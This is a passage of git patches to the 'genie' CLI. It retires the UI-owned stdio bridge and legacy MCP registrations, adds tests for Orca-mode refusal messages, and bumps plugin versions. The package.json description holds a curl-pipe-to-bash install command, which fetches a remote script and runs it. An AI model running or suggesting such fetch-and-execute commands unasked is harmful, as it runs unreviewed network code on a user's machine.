REPORT_COLUMN)}${actionLabel(result.gitignore)}${rules}`); for (const cfg of result.mcp) { - out(` ${mcpConfigLabel(cfg.path)} ${actionLabel(cfg.action)}`); + // `skipped` on an MCP config means "nothing of Genie's was there", not + // "already scaffolded" — and the detail is the only place a skip reason + // (symlink, unreadable file, failed rewrite) or a backup filename ever + // reaches the operator. + const label = cfg.action === 'skipped' ? 'unchanged' : cfg.action; + out(` ${padRight(mcpConfigLabel(cfg.path), REPORT_COLUMN)}${label}${cfg.detail ? ` — ${cfg.detail}` : ''}`); } out(''); out('Legacy Genie-owned MCP registrations are retired; standalone `genie task` and `genie board` remain available.'); @@ -183,17 +189,24 @@ function handleInit(opts: InitOptions): void { const root = resolveGitRoot(process.cwd()); if (!root) throw new NotAGitRepoError(); - // Trusted init ALWAYS reconciles one intact marker-owned Codex route using the - // stable `<GENIE_HOME>/bin/genie` facade with no effective cwd override — + // Init RETIRES historical Genie MCP registrations and never creates one — // independent of plugin and delivery state, and never touching delivery, - // journal, plugin-enabled, agent, or cache state. A route name is not proof of + // journal, plugin-enabled, agent, or cache state. In `.codex/config.toml` + // only the explicit marker block is eligible: a route NAME is not proof of // ownership, so an unmanaged same-key route is preserved and reported. // - // `.mcp.json` has no ownership marker and is therefore never parsed or - // changed; only the explicit Codex marker block is eligible for retirement. - const mcp = retireMcpConfigs(root); + // `.mcp.json` has no ownership marker, so exactly ONE entry is eligible: + // a `genie` server that launches the retired `genie mcp` command (the + // registration a pre-retirement `genie init` wrote, which now renders as a + // permanently failed MCP server). It is backed up before removal, every + // other server and key is preserved, and a symlinked or unreadable file is + // skipped with a reported reason — this step never fails init. + // + // Scaffolding runs FIRST so a repo whose Codex marker block is corrupt (a + // deliberate fail-closed) still gets its `.genie/` state. const index = scaffoldIndex(root); const gitignore = scaffoldGitignore(root); + const mcp = retireMcpConfigs(root); const result: InitResult = { root, index, gitignore: gitignore.action, rulesAdded: gitignore.added, mcp }; if (opts.json) { @@ -211,7 +224,9 @@ function handleInit(opts: InitOptions): void { export function registerInitCommand(program: Command): void { program .command('init') - .description('Initialize Genie state, preserve .mcp.json, and retire marker-owned .codex/config.toml routing') + .description( + 'Initialize Genie state and retire the dead genie mcp entry in .mcp.json plus marker-owned .codex/config.toml routing', + ) .option('--json', 'Emit the created/skipped result as JSON') .action((opts: InitOptions) => handleInit(opts)); } diff --git a/src/term-commands/ui-bridge.test.ts b/src/term-commands/ui-bridge.test.ts index d8c953092..a2f43588f 100644 --- a/src/term-commands/ui-bridge.test.ts +++ b/src/term-commands/ui-bridge.test.ts @@ -11,7 +11,7 @@ import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; import { execFileSync } from 'node:child_process'; -import { mkdtempSync, rmSync } from 'node:fs'; +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; import { openDb } from '../lib/v5/genie-db.js'; @@ -484,3 +484,25 @@ describe('genie mcp retirement remains separate from ui-bridge', () => { ); }); }); + +describe('orca lifecycle authority', () => { + test('refuses with one clean Error line and exit 1 instead of an uncaught throw', () => { + writeFileSync(join(genieHome, 'config.json'), '{"orchestration":{"mode":"orca"}}'); + + const invocation = Bun.spawnSync([process.execPath, GENIE, 'ui-bridge'], { + cwd: repo, + stdin: Buffer.from('{"jsonrpc":"2.0","id":1,"method":"initialize"}\n'), + stdout: 'pipe', + stderr: 'pipe', + env: bridgeEnv(), + }); + + expect(invocation.exitCode).toBe(1); + // Refused BEFORE any handle, watcher, or backstop exists — no protocol + // traffic, and no raw stack trace out of the first lazy read-only open. + expect(invocation.stdout.toString()).toBe(''); + expect(invocation.stderr.toString()).toBe( + 'Error: local_lifecycle_disabled_in_orca_mode: local Genie lifecycle state is disabled because orchestration.mode is "orca"\n', + ); + }); +}); diff --git a/src/term-commands/ui-bridge.ts b/src/term-commands/ui-bridge.ts index b4714b67d..fad00b378 100644 --- a/src/term-commands/ui-bridge.ts +++ b/src/term-commands/ui-bridge.ts @@ -20,6 +20,7 @@ */ import type { Command } from 'commander'; +import { assertLocalLifecycleEnabled } from '../lib/orchestration-mode.js'; import { startChangeWatcher, startPpidBackstop } from '../lib/v5/bridge-watcher.js'; import { openDb, resolveDbPath } from '../lib/v5/genie-db.js'; import { @@ -230,6 +231,10 @@ function openWatchReader( * backstop over the shared transport loop, then exits promptly. */ export async function runUiBridge(): Promise<void> { + // Lifecycle authority first: under Orca the local store is not this repo's + // truth, so the bridge refuses BEFORE any handle, watcher, or backstop + // exists instead of throwing out of the first lazy read-only open. + assertLocalLifecycleEnabled(); // Lazy: keep the read-only bun:sqlite open + read tools out of genie startup. const { MCP_TOOLS, openReadonlyDb } = await import('../lib/v5/mcp-tools.js'); const cwd = process.cwd(); @@ -290,6 +295,13 @@ export function registerUiBridgeCommand(program: Command): void { .command('ui-bridge') .description('Run the UI-owned stdio MCP bridge (reads + roster writes + change-push) into genie.db') .action(async () => { - await runUiBridge(); + try { + await runUiBridge(); + } catch (err) { + // The same one-line rendering `genie task`, `genie idea`, and `genie + // board` use — never a raw stack trace on a typed refusal. + process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}\n`); + process.exit(1); + } }); } diff --git a/src/term-commands/v5-board.test.ts b/src/term-commands/v5-board.test.ts index a29a44f0e..1e19bc75e 100644 --- a/src/term-commands/v5-board.test.ts +++ b/src/term-commands/v5-board.test.ts @@ -969,3 +969,38 @@ describe('deterministic runtime badges (laneless render)', () => { expect(r.stdout).not.toContain('── Blocked'); }); }); + +// ============================================================================ +// Orchestration authority — the refusal is an error line, never a stack trace +// ============================================================================ + +describe('orca lifecycle authority', () => { + /** A throwaway GENIE_HOME whose config hands lifecycle authority to Orca. */ + function orcaHome(): string { + const home = mkdtempSync(join(tmpdir(), 'genie-board-home-')); + homes.push(home); + writeFileSync(join(home, 'config.json'), '{"orchestration":{"mode":"orca"}}'); + return home; + } + + const homes: string[] = []; + afterEach(() => { + for (const home of homes.splice(0)) rmSync(home, { recursive: true, force: true }); + }); + + test.each([[[]], [['--json']], [['list']]])( + 'renders `genie board %j` as one clean Error line with exit 1', + async (args: string[]) => { + const result = await boardWithEnv(repo, { GENIE_HOME: orcaHome() }, ...args); + expect(result.code).toBe(1); + expect(result.stdout).toBe(''); + expect(result.stderr).toBe( + 'Error: local_lifecycle_disabled_in_orca_mode: local Genie lifecycle state is disabled because orchestration.mode is "orca"\n', + ); + // The regression: the open happened OUTSIDE the handler's try, so bun + // printed a raw stack trace and a source excerpt instead. + expect(result.stderr).not.toContain('at openDb'); + expect(result.stderr).not.toContain('LocalLifecycleDisabledError:'); + }, + ); +}); diff --git a/src/term-commands/v5-board.ts b/src/term-commands/v5-board.ts index 48db2af47..dcdc4604c 100644 --- a/src/term-commands/v5-board.ts +++ b/src/term-commands/v5-board.ts @@ -255,6 +255,14 @@ function reconcileWishLanes(db: Database, filter: TaskFilter, board: BoardRow, r } function handleBoard(opts: BoardOptions): void { + // The whole body runs inside `run` so a typed failure raised while OPENING + // the state — an unreadable DB, or `LocalLifecycleDisabledError` when Orca is + // the lifecycle authority — renders as the same one-line `Error: …` + exit 1 + // that `genie task` and `genie idea` print, never as a raw stack trace. + run(() => handleBoardWithDb(opts)); +} + +function handleBoardWithDb(opts: BoardOptions): void { // Resolved once and threaded to both the DB path and the reconciler, so one // board invocation costs exactly one `git rev-parse` child process. const repoRoot = resolveRepoRoot(); @@ -297,8 +305,6 @@ function handleBoard(opts: BoardOptions): void { } renderLanelessCards(db, filter, scopeLabel); - } catch (err) { - fail(err instanceof Error ? err.message : String(err)); } finally { db.close(); } From 8fe9fb78e1efe34454c9af657c25908ec2cb2ca9 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sun, 30 Aug 2026 01:23:10 +0000 Subject: [PATCH 33/45] chore(version): bump to 5.260830.5 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index aa9a1277c..25cba0e56 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260830.4", + "version": "5.260830.5", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 32b0d86fb..20090ad5f 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260830.4", + "version": "5.260830.5", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 364b21655..916a9cea8 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.4", + "version": "5.260830.5", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 1bb22fa33..63ca98c89 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.4", + "version": "5.260830.5", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index 0c2c6cd7a..ebe3e20f8 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.4", + "version": "5.260830.5", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 08b98ce5b..5a7870ca0 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260830.4", + "version": "5.260830.5", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index ce23661ca..fd3bf59ee 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260830.4 +version: 5.260830.5 description: "Native Hermes surface for Genie orchestration: read-only status, work-plan and review-plan tools, hooks, commands, and a thin cockpit skill." provides_tools: # Exactly three native read-only planning/status tools. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index cb2be1776..083c539b7 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260830.4", + "version": "5.260830.5", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From f45d634b856a834bf0660e2b1cdbe1eda21edb04 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:32:27 -0300 Subject: [PATCH 34/45] feat(ui-bridge): retire the UI-owned stdio bridge (#2834) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(ui-bridge): retire the UI-owned stdio bridge There is no separate Genie UI any more — the Orca integration is the only UI surface — so the bridge built for it is retired on exactly the terms `genie mcp` was (#2820): `genie ui-bridge` is a stub that writes a stable diagnostic to stderr and exits 1, and everything that existed only behind it is deleted. Removed (4,088 LOC): - src/lib/v5/mcp-server.ts + test (shared newline-JSON-RPC transport loop) - src/lib/v5/mcp-tools.ts + test (tool registry + readonly/degraded/write opens) - src/lib/v5/bridge-watcher.ts + test (change watcher + ppid backstop) - src/lib/v5/UI-BRIDGE.md (the bridge protocol contract) - task-state.ts `listWishSlugs` / `WishGroupRow` — consumed only by the retired board tool; the hook bundle keeps its own `listKnownSlugs` Kept: sqlite-open.ts's `openWithWalIndexRecovery` and the hire-roster accessors. Both now have no shipped caller, but the recovery helper is the opt-in seam for any future single-owner writer (and is tested directly), and hire rows remain part of exported/imported board state. Their comments now say so instead of pointing at deleted modules. `ui-bridge` stays in the interactivity workspace-gate bypass set for the same reason `mcp` does: the legacy gate must not exit 2 and mask the retirement diagnostic. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 * docs: keep the bounded .mcp.json retirement wording alongside the ui-bridge retirement Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- CLAUDE.md | 4 +- README.md | 11 +- knip.json | 2 +- src/__tests__/claude-md-drift.test.ts | 1 - src/lib/interactivity.ts | 7 +- src/lib/v5/UI-BRIDGE.md | 152 --- src/lib/v5/authority-barriers.test.ts | 3 - src/lib/v5/bridge-watcher.test.ts | 173 ---- src/lib/v5/bridge-watcher.ts | 139 --- src/lib/v5/genie-db.test.ts | 7 +- src/lib/v5/identity.ts | 11 +- src/lib/v5/mcp-server.test.ts | 269 ----- src/lib/v5/mcp-server.ts | 390 ------- src/lib/v5/mcp-tools.test.ts | 1313 ------------------------ src/lib/v5/mcp-tools.ts | 1126 -------------------- src/lib/v5/resolve-wish-branch.test.ts | 2 +- src/lib/v5/resolve-wish-branch.ts | 9 +- src/lib/v5/sqlite-open.test.ts | 10 +- src/lib/v5/sqlite-open.ts | 18 +- src/lib/v5/task-state.ts | 36 +- src/term-commands/ui-bridge.test.ts | 520 +--------- src/term-commands/ui-bridge.ts | 305 +----- 22 files changed, 86 insertions(+), 4422 deletions(-) delete mode 100644 src/lib/v5/UI-BRIDGE.md delete mode 100644 src/lib/v5/bridge-watcher.test.ts delete mode 100644 src/lib/v5/bridge-watcher.ts delete mode 100644 src/lib/v5/mcp-server.test.ts delete mode 100644 src/lib/v5/mcp-server.ts delete mode 100644 src/lib/v5/mcp-tools.test.ts delete mode 100644 src/lib/v5/mcp-tools.ts diff --git a/CLAUDE.md b/CLAUDE.md index 796f88bb4..318ba412c 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -88,7 +88,7 @@ Sixteen top-level commands (run `genie <command> --help` for detail): | `setup` | Configure Genie; authenticated `setup --codex` owns Codex activation and managed convergence; `setup --orchestration-mode <standalone\|orca>` selects the lifecycle authority | | `shortcuts` | Manage tmux keyboard shortcuts | | `task` | Task state (SQLite, zero-daemon) | -| `ui-bridge` | UI-owned stdio MCP bridge into genie.db (reads + roster writes + change-push) | +| `ui-bridge` | Retired — prints the stable non-zero UI-bridge-retirement diagnostic (the Orca integration is the supported UI surface) | | `uninstall` | Remove Genie CLI and clean up hooks | | `update` | Update Genie CLI to the latest GitHub Release | | `help` | `genie help [command]` | @@ -182,7 +182,7 @@ Biome's `noExcessiveCognitiveComplexity` is set to `maxAllowedComplexity: 25` (w - **Codex ships exactly H3/H4/H6, and all remain untrusted after an edit** — H3 is bounded read-only SessionStart context; H4 is deterministic local PreToolUse guarding; H6 is matcher-scoped PermissionRequest approval and is the only retained hook that may write approval-queue state. No Codex lifecycle hook installs, updates, synchronizes, or scaffolds. Run `genie update` to deliver signed bytes, then authenticated `genie setup --codex` to activate them; inspect changed hashes with `/hooks` and start a new task. Codex hook commands run outside the model sandbox, so hard controls still belong in sandbox permissions and server-side branch protection. - **Hook dispatch is provider-aware and fail-closed** — the plugin-local Codex launcher selects only the canonical `$GENIE_HOME/bin/genie`, preserves stdin/stdout/signals, bounds child time/output, validates event-specific JSON, and converts launch/timeout/schema failures into a reasoned deny. Claude dispatch remains a short-lived in-process `genie hook dispatch` fork. Neither path is a daemon. - **`AskUserQuestion` is the one PreToolUse carve-out** — it is in `NON_INTERCEPTABLE_PRE_TOOL_USE_TOOLS` and MUST get an EMPTY response, not the neutral `{ decision: 'block' }` block form. Empirically CC consumes any additionalContext as the synthesized answer, so a fail-closed block would corrupt the inline picker. The fail-closed envelope special-cases this tool. -- **The product MCP server and its launchers are retired** — `genie mcp` is a stub that writes a stable diagnostic to stderr and exits 1; no plugin ships an MCP declaration or launcher, and `genie init` only retires proven Genie-owned historical routes (in `.mcp.json` it retires only the dead `genie mcp` entry — a genie binary with args exactly `["mcp"]` — backing the file up first and preserving every other server byte-for-byte; `genie doctor` warns while that entry is still present). The UI-owned `genie ui-bridge` is a separate private stdio bridge and is NOT the retired product integration. +- **The product MCP server and its launchers are retired** — `genie mcp` is a stub that writes a stable diagnostic to stderr and exits 1; no plugin ships an MCP declaration or launcher, and `genie init` only retires proven Genie-owned historical routes (in `.mcp.json` it retires only the dead `genie mcp` entry — a genie binary with args exactly `["mcp"]` — backing the file up first and preserving every other server byte-for-byte; `genie doctor` warns while that entry is still present). The UI-owned `genie ui-bridge` is retired too — there is no Genie UI any more, the Orca integration is the only UI surface — so it is the same shape of stub (stable stderr diagnostic, exit 1), and its private transport (`mcp-server.ts`), tool registry (`mcp-tools.ts`), and change watcher (`bridge-watcher.ts`) are deleted. - **Lifecycle authority is an explicit mode, never inferred** — `standalone` is the default (including when `orchestration.mode` is absent); installing or opening Orca changes nothing. `genie setup --orchestration-mode orca` probes the shipped plugin payload and a compatible Orca runtime before atomically switching, after which Genie refuses local `genie.db` lifecycle reads/writes and roadmap writes/syncs/exports. Switching back with `--orchestration-mode standalone` imports no Orca state. There is no fallback database in either direction. - **Two `genie.db` files, never cross-import** — per-repo `.genie/genie.db` (`genie-db.ts`, task/board/wish) and global `~/.genie/genie.db` (`global-db.ts`, omni queue + inbox) are independent databases with their own schemas and `user_version`. `global-db.ts` shares only `sqlite-open.ts` with the per-repo one — do not reach across for path constants. - **Codex integration health is native state, not OTel** — the old Genie exporter at `127.0.0.1:14318` has no relay and is removed by an exact-match, backup-first migration. Preserve unrelated OTel settings and `disable_paste_burst`. diff --git a/README.md b/README.md index ec0bea3f3..ca04c1569 100644 --- a/README.md +++ b/README.md @@ -135,7 +135,7 @@ genie --help | `genie board` | Kanban view of task state, derived live by query | | `genie idea` | Capture an idea into the roadmap board Idea lane (creates the board if absent) | | `genie task` | Inspect and drive task state (SQLite, zero-daemon) | -| `genie ui-bridge` | Run the UI-owned stdio MCP bridge into genie.db (reads + roster writes + change-push) | +| `genie ui-bridge` | Return the stable non-zero UI-bridge-retirement diagnostic | | `genie install` | Finish a verified install and deliver selected integrations; Codex activation is deferred to setup | | `genie mcp` | Return the stable non-zero MCP-retirement diagnostic | | `genie omni` | Bridge agents to WhatsApp via Omni — remote approvals + inbound one-shots (`serve`, `status`, `inbox`, `handshake`) | @@ -252,9 +252,12 @@ The legacy cross-client MCP server, its write tools, plugin launchers, and Genie pre-A7 signed release.` to stderr and exits 1 without reading or speaking MCP. `genie init` removes only historical registrations proven to be Genie-owned; unowned same-name routes and every unrelated config key remain untouched. -The UI-owned `genie ui-bridge` is not the retired product MCP integration. It retains its private stdio transport and -read/roster surface for the Genie UI. Standalone `genie task` and `genie board` retain their existing behavior in -standalone mode; Orca mode continues to use the public `orca orchestration ... --json` adapter as its sole authority. +The UI-owned `genie ui-bridge` is retired on the same terms: there is no separate Genie UI any more, the Orca +integration is the supported UI surface, and the private stdio transport, tool registry, and change watcher behind the +bridge are deleted. `genie ui-bridge` prints `Error: genie ui-bridge has been retired; the Orca integration is the +supported UI surface, or roll back to a pre-retirement signed release.` to stderr and exits 1. Standalone `genie task` +and `genie board` retain their existing behavior in standalone mode; Orca mode continues to use the public +`orca orchestration ... --json` adapter as its sole authority. ## Hermes-native surface diff --git a/knip.json b/knip.json index 4c2c42635..a7f0ba89a 100644 --- a/knip.json +++ b/knip.json @@ -2,7 +2,7 @@ "$schema": "https://unpkg.com/knip@6.29.0/schema.json", "entry": ["src/hooks/dispatch-command.ts"], "project": ["src/**/*.ts"], - "ignoreBinaries": ["ldd", "omni", "ss"], + "ignoreBinaries": ["ldd", "omni"], "ignoreExportsUsedInFile": true, "ignore": ["src/term-commands/hook/trust.ts"] } diff --git a/src/__tests__/claude-md-drift.test.ts b/src/__tests__/claude-md-drift.test.ts index 58511a86a..6a168df71 100644 --- a/src/__tests__/claude-md-drift.test.ts +++ b/src/__tests__/claude-md-drift.test.ts @@ -47,7 +47,6 @@ const REQUIRED_V5_COMMANDS: ReadonlyArray<string> = [ 'setup', 'shortcuts', 'task', - 'ui-bridge', 'uninstall', 'update', ]; diff --git a/src/lib/interactivity.ts b/src/lib/interactivity.ts index 4917f437f..41b212f6d 100644 --- a/src/lib/interactivity.ts +++ b/src/lib/interactivity.ts @@ -84,9 +84,10 @@ const WORKSPACE_EXEMPT = new Set([ // exits 1. It touches no workspace state, so the legacy workspace gate must not // exit 2 and mask the retirement diagnostic callers are told to expect. 'mcp', - // `ui-bridge` is the UI-owned stdio MCP bridge (reads + roster writes + push). - // It self-resolves the shared genie.db and speaks JSON-RPC on stdio; - // the legacy workspace gate must not exit 2 before the handshake can happen. + // `ui-bridge` is now a retirement stub too: the Orca integration replaced the + // UI-owned stdio bridge, so the command only writes its stable diagnostic to + // stderr and exits 1. It touches no workspace state, so the legacy workspace + // gate must not exit 2 and mask the diagnostic callers are told to expect. 'ui-bridge', ]); diff --git a/src/lib/v5/UI-BRIDGE.md b/src/lib/v5/UI-BRIDGE.md deleted file mode 100644 index 036ae10b1..000000000 --- a/src/lib/v5/UI-BRIDGE.md +++ /dev/null @@ -1,152 +0,0 @@ -# genie ui-bridge — protocol contract - -The page the separate-repo genie UI (the dash fork) is built against. `genie -ui-bridge` is a long-lived **stdio** MCP server the UI spawns and owns: five -read tools, exactly two roster write tools, and change-push -notifications from an in-child watcher. Genie stays zero-daemon — the child lives -and dies with the UI and **never opens a socket or port**. - -> This private UI transport is retained independently of the retired `genie -> mcp` product integration. Its roster write surface exists only here. - -## Versions - -| Name | Value | Meaning | -|------|-------|---------| -| **Bridge protocol version** | **`1.0`** | Versions the bridge CONTRACT: tool set, notification semantics, write surface. Reported by the handshake as `bridgeProtocolVersion`. | -| MCP wire version | `2024-11-05` | The private bridge transport version reported as `protocolVersion`. | -| Genie version | `<genie CLI version>` | Reported as `genieVersion` (and `serverInfo.version`). Independent release cadence. | - -The exact protocol version string the handshake reports is **`1.0`**. - -## Transport - -Newline-delimited JSON-RPC 2.0 — exactly one JSON object per line on -stdin/stdout, no `Content-Length` framing, no embedded newlines. Requests carry -an `id`; the id-less lines the server emits are notifications (below). - -## Handshake — `initialize` - -The client SHOULD declare its bridge protocol version in the initialize params: - -```json -{ "jsonrpc": "2.0", "id": 1, "method": "initialize", - "params": { "protocolVersion": "2024-11-05", "bridgeProtocolVersion": "1.0" } } -``` - -Server reply on a compatible (or unstated) version: - -```json -{ "jsonrpc": "2.0", "id": 1, "result": { - "protocolVersion": "2024-11-05", - "bridgeProtocolVersion": "1.0", - "genieVersion": "5.x.y", - "capabilities": { "tools": {}, "experimental": { "genieChangeNotifications": true } }, - "serverInfo": { "name": "genie-ui-bridge", "version": "5.x.y" } } } -``` - -### Skew policy - -Compatibility is by **MAJOR** version. A client that declares -`bridgeProtocolVersion` whose major differs from the server's receives a -**structured JSON-RPC error — never silence**: - -```json -{ "jsonrpc": "2.0", "id": 1, "error": { - "code": -32001, - "message": "Incompatible genie ui-bridge protocol version: client declared \"2.0\", server speaks \"1.0\"", - "data": { "serverBridgeProtocolVersion": "1.0", "clientBridgeProtocolVersion": "2.0" } } } -``` - -A client that declares **no** `bridgeProtocolVersion` is accepted best-effort and -left to decide from the reported `bridgeProtocolVersion` / `genieVersion` -(the UI warns or refuses on a mismatch it cares about). The `genie.db` schema is -**never** part of this contract — it stays private to genie permanently; skew is -survived only through this negotiated handshake. - -## Tools - -### Read tools (retained after MCP retirement, identical semantics) - -| Tool | Purpose | Required args | -|------|---------|---------------| -| `genie_board` | Board status counts + tasks | — (`board`, `wish` optional) | -| `genie_wish_status` | A wish's execution groups (DAG) + tasks | `wish` | -| `genie_worktree_context` | Resolve a `wish/<slug>-<group>` branch → wish/group/tasks | — (`branch` optional) | -| `genie_task` | Full detail for one task by id | `id` | -| `genie_active` | All `in_progress` tasks + who claimed each | — | - -Read results are a read-only projection of `.genie/genie.db`; they degrade to an -empty board when the db is absent. Every task/board/wish row they surface -corresponds to the same underlying rows as `genie task export` -(`exportState()`) — the projections differ, the data does not. - -### Write tools (bridge-owned — exactly the two roster tools) - -`roster_hire` and `roster_unhire` call genie's own `task-state.ts` roster ops -(never raw SQL) over a WRITE-capable handle from the canonical `genie-db` → -`sqlite-open` open path (WAL + `busy_timeout`). The write surface is EXACTLY -these two tools; any future write tool is a separate, recorded decision. - -**`roster_hire`** — idempotent upsert keyed on `(wish, agentAdapterId)`; a re-hire -refreshes `profile`/`worktree`/`state` but preserves the original `hiredAt`. - -```json -{ "name": "roster_hire", "arguments": { - "wish": "w-alpha", // required — wish slug - "agentAdapterId": "codex-1", // required — agent adapter id (runtime/provider slot) - "worktree": "/wt/codex-1", // required — see "worktree is required" below - "profile": "high", // optional — provider profile - "state": "hired" } } // optional — lifecycle state (defaults to "hired") -``` - -Result: the persisted `HireRosterRow` -(`{ wish, agentAdapterId, profile, worktree, hiredAt, state }`). - -**`roster_unhire`** — idempotent delete. - -```json -{ "name": "roster_unhire", "arguments": { "wish": "w-alpha", "agentAdapterId": "codex-1" } } -``` - -Result: `{ wish, agentAdapterId, removed }` — `removed` is `false` when no row -existed (a no-op), `true` on a real removal. - -**`worktree` is required on hire.** This confirms the `hire_roster.worktree NOT -NULL` design: a worktree is always known at hire time because dash binds the -genie-launch worktree when it hires an agent. The bridge enforces it — a -`roster_hire` missing any required field returns an in-band -`{ "error": "invalid_arguments", "missing": [...] }` payload (isError-style, -consistent with `genie_task`'s `not_found`), not a protocol crash. - -## Notifications — change push - -An in-child watcher polls `PRAGMA data_version` every 250–500 ms (default 300 ms) -and fs-watches the db directory as a wake hint. When the db changes (any other -connection committed — an external `genie task create`, a roster write, etc.) the -server emits an **id-less** notification line: - -```json -{ "jsonrpc": "2.0", "method": "notifications/genie/changed", "params": { "dataVersion": 42 } } -``` - -Semantics: a wake signal, not a diff. The UI re-reads via the read tools; it must -not assume the notification carries the change. Latency bound: an external write -yields a notification within **1 s** (2–4× the poll interval; the fs-watch wake -usually delivers it far sooner). SQLite has no cross-process notify — this poll is -the honest daemon-free ceiling, and is ample for a kanban. - -## Lifetime contract - -- **stdin EOF → exit within 2 s.** A dead parent closes the pipe write-end; the - child sees EOF, stops its watcher + backstop, closes its handles, flushes - stdout, and exits `0` promptly. -- **ppid backstop.** For the case where the parent dies but the stdin write-end - stays open (a subreaper, or an inherited pipe), the child polls its parent pid - and exits when it changes from the one captured at startup. Subreaper-aware: it - does **not** assume reparenting to pid 1, and treats the `0` unknown-ppid - sentinel as "not orphaned". -- **No socket, ever.** The bridge holds zero listening sockets; it speaks only on - stdio. Verify with `ss -tlnp` / `lsof` against the child pid — no rows. -- **Zero-daemon.** Nothing survives the UI; the child is fork-and-die under the - validated trust model retained from the retired MCP implementation. diff --git a/src/lib/v5/authority-barriers.test.ts b/src/lib/v5/authority-barriers.test.ts index 582fa8b6f..8ca3616ea 100644 --- a/src/lib/v5/authority-barriers.test.ts +++ b/src/lib/v5/authority-barriers.test.ts @@ -14,7 +14,6 @@ import { join } from 'node:path'; import { openReadonlyHandle } from '../../term-commands/context.js'; import { InvalidOrchestrationAuthorityError, LocalLifecycleDisabledError } from '../orchestration-mode.js'; import { openDb } from './genie-db.js'; -import { openReadonlyDb } from './mcp-tools.js'; import { writeSnapshotFile } from './roadmap-sync.js'; const originalGenieHome = process.env.GENIE_HOME; @@ -87,7 +86,6 @@ describe('Orca authority barriers', () => { const beforeMtime = statSync(dbPath).mtimeMs; expect(() => openReadonlyHandle(dbPath)).toThrow(LocalLifecycleDisabledError); - expect(() => openReadonlyDb(join(root, 'repo'))).toThrow(LocalLifecycleDisabledError); expect(readdirSync(directory)).toEqual(beforeNames); expect(readFileSync(dbPath)).toEqual(beforeBytes); @@ -177,7 +175,6 @@ describe('Orca authority barriers', () => { expect(() => openDb({ path: dbPath })).toThrow(fixtureCase.error); expect(() => openReadonlyHandle(dbPath)).toThrow(fixtureCase.error); - expect(() => openReadonlyDb(repo)).toThrow(fixtureCase.error); expect(() => writeSnapshotFile(roadmap, { forbidden: true })).toThrow(fixtureCase.error); expect(existsSync(dbPath)).toBe(false); diff --git a/src/lib/v5/bridge-watcher.test.ts b/src/lib/v5/bridge-watcher.test.ts deleted file mode 100644 index 045854a53..000000000 --- a/src/lib/v5/bridge-watcher.test.ts +++ /dev/null @@ -1,173 +0,0 @@ -/** - * Unit tests for the ui-bridge lifetime primitives — the change watcher and the - * ppid backstop. Both 